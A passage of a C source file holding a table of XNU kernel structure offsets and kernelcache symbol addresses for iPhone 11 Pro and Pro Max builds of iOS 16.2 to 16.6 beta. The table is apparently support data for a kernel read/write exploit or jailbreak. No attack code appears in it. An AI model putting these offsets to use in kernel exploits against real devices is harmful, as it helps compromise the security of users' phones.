.kernelcache__perfmon_dev_open = 0xfffffff007efb5d0,\n        .kernelcache__ptov_table = 0xfffffff007903178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a472990,\n        .kernelcache__vm_pages = 0xfffffff0078ffeb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a472988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f4a41c,\n    },\n\n    //iOS 16.6 beta 1\n        {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:02 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8030\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPhone12,3\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 0x8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 0x8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a4c9ab0,\n            .kernelcache__gPhysBase = 0xfffffff0079641b8,\n            .kernelcache__gPhysSize = 0xfffffff0079641b8 + 0x8,\n            .kernelcache__gVirtBase = 0xfffffff007962370,\n            .kernelcache__perfmon_devices = 0xfffffff00a509520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f1bd78,\n            .kernelcache__ptov_table = 0xfffffff0079179b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a508910,\n            .kernelcache__vm_pages = 0xfffffff007914100,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff007916958,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a508908,\n            .kernelcache__vn_kqfilter = 0xfffffff007f6a588,\n        },\n // End iPhone 11 Pro //\n // Start iPhone 11 Pro Max //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:54 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone12,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a35d178,\n        .kernelcache__gPhysBase = 0xfffffff00786fb98,\n        .kernelcache__gPhysSize = 0xfffffff00786fb98 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00786dd78,\n        .kernelcache__perfmon_devices = 0xfffffff00a398370,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed4bd8,\n        .kernelcache__ptov_table = 0xfffffff007823260,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a397800,\n        .kernelcache__vm_pages = 0xfffffff007820088,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007822210,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3977f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f26f14,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:00 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone12,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a365178,\n        .kernelcache__gPhysBase = 0xfffffff00786fc80,\n        .kernelcache__gPhysSize = 0xfffffff00786fc80 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00786de60,\n        .kernelcache__perfmon_devices = 0xfffffff00a3a0370,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed8be8,\n        .kernelcache__ptov_table = 0xfffffff0078232a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a39f800,\n        .kernelcache__vm_pages = 0xfffffff0078200c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007822250,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a39f7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f2af14,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:00 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone12,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a365178,\n        .kernelcache__gPhysBase = 0xfffffff00786fc80,\n        .kernelcache__gPhysSize = 0xfffffff00786fc80 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00786de60,\n        .kernelcache__perfmon_devices = 0xfffffff00a3a0370,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed8be8,\n        .kernelcache__ptov_table = 0xfffffff0078232a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a39f800,\n        .kernelcache__vm_pages = 0xfffffff0078200c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007822250,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a39f7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f2af14,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:25 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone12,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a42d208,\n        .kernelcache__gPhysBase = 0xfffffff00794fed0,\n        .kernelcache__gPhysSize = 0xfffffff00794fed0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794e0a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a46b4f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007efb3c8,\n        .kernelcache__ptov_table = 0xfffffff007903178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a46a990,\n        .kernelcache__vm_pages = 0xfffffff0078ffeb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a46a988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f49f7c,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:25 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone12,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a42d208,\n        .kernelcache__gPhysBase = 0xfffffff00794fed0,\n        .kernelcache__gPhysSize = 0xfffffff00794fed0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794e0a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a46b4f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007efb3c8,\n        .kernelcache__ptov_table = 0xfffffff007903178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a46a990,\n        .kernelcache__vm_pages = 0xfffffff0078ffeb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a46a988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f49f7c,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:28 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone12,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a435288,\n        .kernelcache__gPhysBase = 0xfffffff007950010,\n        .kernelcache__gPhysSize = 0xfffffff007950010 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794e1e8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4734f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007efb5d0,\n        .kernelcache__ptov_table = 0xfffffff007903178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a472990,\n        .kernelcache__vm_pages = 0xfffffff0078ffeb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a472988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f4a41c,\n    },\n\n    //iOS 16.6 beta 1 //\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:02 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8030\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPhone12,5\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 0x8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 0x8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 